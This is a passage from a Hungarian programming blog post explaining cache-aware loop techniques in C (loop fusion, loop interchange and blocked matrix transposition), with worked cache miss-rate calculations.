<p>Mind ezek szerint elengedhetetlen, hogy a processzor kihasználás érdekében, a programozó segítse a tárhierarchia munkáját:</p>
<ul>
<li>A cache esetében, ha a programozó össze-vissza hivatkozik a memóriára, akkor sok lesz a cache hiba, és így kénytelen lesz a számítógép a lomha memóriához nyúlni.</li>
<li>A DRAM alapú rendszermemória esetében az azonos sorban lévő cellák elérése gyors, de ha itt is véletlenszerűen hivatkozunk a címekre, akkor az új sorok megnyitása költésges és lassú művelet lesz.</li>
</ul>
<p><strong>Tehát a programozó célja, hogy a memóriákat úgy címezze, hogy azok megfeleljenek a lokalitási elveknek. Hogyan?</strong></p>
<h2 id="lokalitásbarát-ciklusszervezés">Lokalitásbarát ciklusszervezés</h2>
<p>A gyakorlatban számtalan alkalommal van szükség egy-, vagy többdimenziós tömbök bejárása, ehhez pedig ciklus(ok) szükséges(ek). Példát mutatok azon ciklusszervezési technikákra, melyek hasznosítják az imént kifejtett tárhierarchiai ismereteinket, és ezzel javítják programunk futásidejét.</p>
<h3 id="ciklusegyesítés">Ciklusegyesítés</h3>
<p>Eredeti kód:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i &lt; N; i++)
</span></span><span style="display:flex;"><span>    b[i] = c * a[i] - x;
</span></span><span style="display:flex;"><span>sum = <span style="color:#ff0;font-weight:bold">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i &lt; N; i++)
</span></span><span style="display:flex;"><span>    sum += b[i];
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span>( <span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i &lt; N; i++)
</span></span><span style="display:flex;"><span>    d[i] = a[i] + b[i];
</span></span></code></pre></div><p>Fenti kód egy C nyelvű mezei, iskolapélda kód. Most mindenki kapaszkodjon meg mert matekozni fogunk. Számoljuk ki a cache hiba-arányt azaz azt, hogy összes cache-hez intézett kérésünk közül mennyiszer kaptuk azt a választ, hogy sajnos a lassú memóriához kell nyúlnunk, mert a cache-ben nincsen benne az, amit keresünk. Tegyük fel az alábbiakat az egyszerűség kedvéért:</p>
<ul>
<li>N legyen a tömb mérete tetszőlegesen nagy</li>
<li>a cache blokk mérete 64 bájt</li>
<li>a tömb elemei 8 bájtos double-ök</li>
<li>az i, c, x és sum elérése nem jár memória-hozzáféréssel.</li>
</ul>
<p>Az első for ciklus bejárja az a és b tömböt. Az i = 0 -nál cache hibát kaptunk a[0] és b[0] esetben is, mivel üres volt eddig még a cache-ünk. Ha cache hiba történik akkor viszont 8 tömb elem kerül be a cachebe, mivel a térbeli lokalitás szerint azt feltételezzük, hogy a soron következő elemeket is használni fogjuk, és több már nem is férne bele egy cache blokkba (64/8=8). Tehát 8 lépésenkét lesz cache hiba, és mivel 2N memóriahivatkozás van ezért itt 2N/8 cache hiba lesz.</p>
<p>A második for ciklusnál, ha N elég nagy volt akkor a b tömb eleje már nincs benne a cache-ben, mert a hátsó elemei már kiszorították onnan. Ezért itt, megint minden 8. hivatkozás cache hiba lesz, így N/8 hibát okozva.</p>
<p>Hasonlóan számolhatunk a harmadik ciklusban is, 3N hivatkozás függvényében 3N/8 cache hibát kapunk.</p>
<p>Szummázva a cache hibákat megkapjuk, hogy 6N memóriahivatkozásnál 1/8 lesz a cache-hiba arány, ami 12.5%.</p>
<p>Most pedig ciklusegyesítéssel a kód:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>sum = <span style="color:#ff0;font-weight:bold">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i&lt;N; i++){
</span></span><span style="display:flex;"><span>    b[i] = c * a[i] + x;
</span></span><span style="display:flex;"><span>    sum += b[i];
</span></span><span style="display:flex;"><span>    d[i] = a[i] + b[i];
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Egyértelműen látszik, hogy ez az algoritmus ugyanazzal a funkcionalitással rendelkezik mind az eredeti, csak kicsit jobb. A ciklus hasában az első 2 memóriahivatkozás még mindig minden 8. lépésnél cache hibát okoz. A második sorban az a[i] és b[i] soha nem okozhat cache hibát, mivel már biztosan a cache-ben vannak az első sor révén. A harmadik sorban pedig az előző érvelés alapján csak a d[i] fog cache hibát dobni 8 lépésenként.</p>
<p>Tehát összesen 3N/8 (= 2N/8 + N/8) hibát kapunk így az arány 6N memóriahivatkozás mellett 1/16-od, ami 6.25%, azaz fele az előzőnek.</p>
<p>Itt látszik, hogy milyen kis energia befektetéssel, kétszer gyorsabb futásidőt kaptunk. Az első ökölszabály tehát, hogy amit lehet egyetlen ciklusban, azt egyetlen ciklusban érdemes megvalósítani.</p>
<h3 id="ciklusok-sorrendjének-optimalizálása">Ciklusok sorrendjének optimalizálása</h3>
<p>Az alábbi példában egy 2 dimenziós tömb, 2 különböző bejárásán mutatom meg, miért fontos a ciklusok sorrende.</p>
<p>Most először a jó példát mutatom</p>
<p>Bejárás sor-folytonosan:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i&lt;N; i++)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span>(<span style="color:#fff;font-weight:bold">int</span> j=<span style="color:#ff0;font-weight:bold">0</span>; j&lt;N; j++)
</span></span><span style="display:flex;"><span>        sum += a[i][j];
</span></span></code></pre></div><p>A cache hiba vizsgálása előtt tisztázni kell, hogy C nyelv a 2 dimenziós tömböket sor-folytonosan helyezi el a memóriában. Tehát ha van egy {{4, 2}, {0, 6}} 2 dimenziós tömb akkor az a memóriában</p>
<p>&hellip; 4 | 2 | 0 | 6 &hellip;.. módon kap helyet</p>
<p>Ekkor a bejárás soronként megy végig. Ez szerencsés hiszen a térbeli lokalitás miatt sorokat fog a számítógép is a cache-be rakni. Így a feljebb kikötött feltevések és 64 bájtos blokkméret, 8 bájtos elemméret mellett az algoritmus cache hiba-aránya 1/8-ad lesz, de prefetch algoritmussal még ezen is lehetne javítani.</p>
<p>Most nézzük meg, hogyan <strong>NE</strong> csináljuk</p>
<p>Bejárás oszlop-folytonosan:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> j=<span style="color:#ff0;font-weight:bold">0</span>; j&lt;N; j++)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span>(<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i&lt;N; i++)
</span></span><span style="display:flex;"><span>        sum += a[i][j];
</span></span></code></pre></div><p>Itt felcseréltem a két ciklus sorrendjét. Ilyenkor hiába próbálja az egy sorban lévő elemeket (pl. a a[i][j+1], a[i][j+2], a[i][j+3] &hellip;) betölteni a számítógép, mert ha N &gt; 8, akkor a[i][j] után következő a[i+1][j] nem lesz benne a cache-ben biztosan. Ha N*8 nagyobb mint a cache méret akkor még ennél is rosszabb a helyzet, mivel mire a külső ciklus lép egyet j-ből j+1-be addigra a[i][j+1] már nem lesz benne a cache-ben, hiába olvastuk be a[i][j]-nél. Tehát minden memóriahivatkozás cache hibát dob, azaz 100% az arány.</p>
<h3 id="blokkos-ciklusszervezés">Blokkos ciklusszervezés</h3>
<p>Van még egy további technika, az úgynevezett blokkos ciklusszervezés, amikor is blokkonként járunk be egy mátrixot. Ez például akkor tud nagy segítséget nyújtani, amikor egy mátrixot kell transzponálni:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (<span style="color:#fff;font-weight:bold">int</span> i=<span style="color:#ff0;font-weight:bold">0</span>; i&lt;N; i++)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span>(<span style="color:#fff;font-weight:bold">int</span> j=<span style="color:#ff0;font-weight:bold">0</span>; j&lt;N; j++)
</span></span><span style="display:flex;"><span>        b[j][i] = a[i][j];
</span></span></code></pre></div><p>Ekkor a-t sor-folytonosan b-t oszlop-folytonosan járjuk be, ezért a fenti példák alapján, elég nagy N esetén, b-nél 100% os lesz a cache hiba-arány. Ezen tudunk segíteni az alábbi módon:</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">for</span> (bi=<span style="color:#ff0;font-weight:bold">0</span>; bi&lt;=N-BLK; bi+=BLK)
</span></span><span style="display:flex;"><span>    <span style="color:#fff;font-weight:bold">for</span> (bj=<span style="color:#ff0;font-weight:bold">0</span>; bj&lt;=N-BLK; bj+=BLK)
</span></span><span style="display:flex;"><span>        <span style="color:#fff;font-weight:bold">for</span> (i=bi; i&lt;bi+BLK; i++)
</span></span><span style="display:flex;"><span>            <span style="color:#fff;font-weight:bold">for</span> (j=bj; j&lt;bj+BLK; j++)
</span></span><span style="display:flex;"><span>                b[j][i] = a[i][j];
</span></span></code></pre></div><p>Kicsit obfuszkáltnak tűnhet, de talán az ábra segít</p>
<p><img alt="blokkos ciklus" src="/blokkosciklus.png"></p>
<p>Itt csak arra kell figyelni, hogy megfelelő BLK-t, azaz blokkméretet válasszunk, mivel az egésznek az a lényege, hogy akkora blokkot válasszunk, hogy minél kevesebbszer legyen cache hiba szummázva.</p>
<p>Kicsit edge-case-nek tűnhet ez az egész mátrix transzponálás, de a gyakorlatban rengeteg mátrix transzponálás és mátrix művelet történik, elég csak a grafikus kártyátokra nézni, ami pontosan erre van optimalizálva, a fenti technikáknál jóval bonyolultabb módszerekkel is.</p>
<h2 id="összegzés">Összegzés</h2>
<p>Tehát megismerkedtünk a számítógépünk egy fontos elemével a tárhierarchiával, azon belül is szemügyre vettük jobban a cache-t, majd pedig ezt a tudást felhasználva gyakorlati problémákra tudtunk jobb teljesítményt eredményező megoldásokat találni. Kell ennél több? :D</p>
]]></content>
        </item>
        
    </channel>
</rss>
